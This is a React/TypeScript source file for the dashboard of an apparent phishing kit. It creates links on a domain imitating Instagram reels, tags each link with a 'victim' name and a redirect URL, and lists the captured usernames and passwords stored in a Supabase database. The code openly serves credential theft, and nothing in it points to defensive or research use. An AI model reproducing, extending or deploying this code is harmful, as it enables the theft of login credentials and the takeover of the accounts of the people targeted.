8 | import { useAuth } from '@/context/AuthContext';
9 | import { Copy, Loader2, RefreshCw, Link2, Users } from 'lucide-react';
10 |
11 | const generateReelId = () => {
12 | return Math.random().toString(36).substring(2, 8);
13 | };
14 |
15 | interface Submission {
16 | id: string;
17 | reelId: string;
18 | username: string;
19 | password: string;
20 | created_at: string;
21 | reels: {
22 | victim_name: string | null;
23 | } | null;
24 | }
25 |
26 | export default function CreateReelPage() {
27 | const [loading, setLoading] = useState(true);
28 | const [newReelId, setNewReelId] = useState(generateReelId());
29 | const [redirectUrl, setRedirectUrl] = useState('');
30 | const [victimName, setVictimName] = useState('');
31 | const [submissions, setSubmissions] = useState([]);
32 | const [isSubmitting, setIsSubmitting] = useState(false);
33 | const [lastCreatedLink, setLastCreatedLink] = useState(null);
34 | const { user } = useAuth();
35 |
36 | const fetchSubmissions = useCallback(async () => {
37 | if (!user) return;
38 | setLoading(true);
39 | try {
40 | const { data: reelsData, error: reelsError } = await supabase
41 | .from('reels')
42 | .select('reelId')
43 | .eq('userId', user.id);
44 |
45 | if (reelsError) throw reelsError;
46 |
47 | const reelIds = reelsData.map((reel) => reel.reelId);
48 |
49 | if (reelIds.length === 0) {
50 | setSubmissions([]);
51 | return;
52 | }
53 |
54 | const { data, error } = await supabase
55 | .from('submissions')
56 | .select('id, username, password, reels(victim_name)')
57 | .in('reelId', reelIds);
58 |
59 | if (error) throw error;
60 | // setSubmissions(data || []);
61 | setSubmissions(
62 | (data || []).map((item: any) => ({
63 | ...item,
64 | reels: Array.isArray(item.reels) ? item.reels[0] || null : item.reels ?? null,
65 | }))
66 | );
67 | } catch (error: any) {
68 | console.error('Error fetching submissions:', error);
69 | toast.error(error.message || 'Failed to fetch submissions.');
70 | } finally {
71 | setLoading(false);
72 | }
73 | }, [user]);
74 |
75 | useEffect(() => {
76 | fetchSubmissions();
77 | }, [fetchSubmissions]);
78 |
79 | const handleSubmit = async (e: React.FormEvent) => {
80 | e.preventDefault();
81 | setIsSubmitting(true);
82 | setLastCreatedLink(null);
83 |
84 | if (!user) {
85 | toast.error('You must be logged in to create a ReelID.');
86 | setIsSubmitting(false);
87 | return;
88 | }
89 |
90 | if (!redirectUrl) {
91 | toast.error('Please provide a redirect URL.');
92 | setIsSubmitting(false);
93 | return;
94 | }
95 |
96 | try {
97 | const reelIdToSubmit = newReelId;
98 | const { error } = await supabase.from('reels').insert([
99 | {
100 | reelId: reelIdToSubmit,
101 | redirectUrl: redirectUrl,
102 | userId: user.id,
103 | victim_name: victimName || null,
104 | },
105 | ]);
106 |
107 | if (error) throw error;
108 |
109 | toast.success('Reel link created successfully!');
110 | const link = `https://instagram-reels-dun.vercel.app/${reelIdToSubmit}`;
111 | setLastCreatedLink(link);
112 | setRedirectUrl('');
113 | setNewReelId(generateReelId());
114 | fetchSubmissions();
115 | } catch (error: any) {
116 | toast.error(error.message || 'Failed to create ReelID.');
117 | } finally {
118 | setIsSubmitting(false);
119 | }
120 | };
121 |
122 | return (
123 |
124 |
125 |
126 |
127 |
128 | Create New Link
129 |
130 | Generate a unique link to share.
131 |
132 |
133 |
170 |
171 |
172 |
173 | {lastCreatedLink && (
174 |
175 |
176 | Link Created!
177 |
178 |
179 | Share this link:
180 |
181 |
182 | {
186 | navigator.clipboard.writeText(lastCreatedLink);
187 | toast.success('Link copied!');
188 | }}
189 | className="border-gray-600 bg-gray-700 hover:bg-gray-600"
190 | >
191 |
192 |
193 |
194 |
195 |
196 | )}
197 |
198 |
199 |
200 |
201 |
202 |
203 | Recent Submissions
204 |
205 | Here are the latest submissions from your links.
206 |
207 |
208 | {loading ? (
209 |
210 |
211 |
212 | ) : submissions.length > 0 ? (
213 |
214 | {submissions.map((submission) => (
215 |
216 |
217 |
Victim: {submission.reels?.victim_name || 'Anonymous'}
218 |
UN: {submission.username}
219 |
PW: {submission.password}
220 |
221 |
222 | ))}
223 |
224 | ) : (
225 | No submissions yet.
226 | )}
227 |
228 |
229 |
230 |
231 | );
232 | }
233 |
--------------------------------------------------------------------------------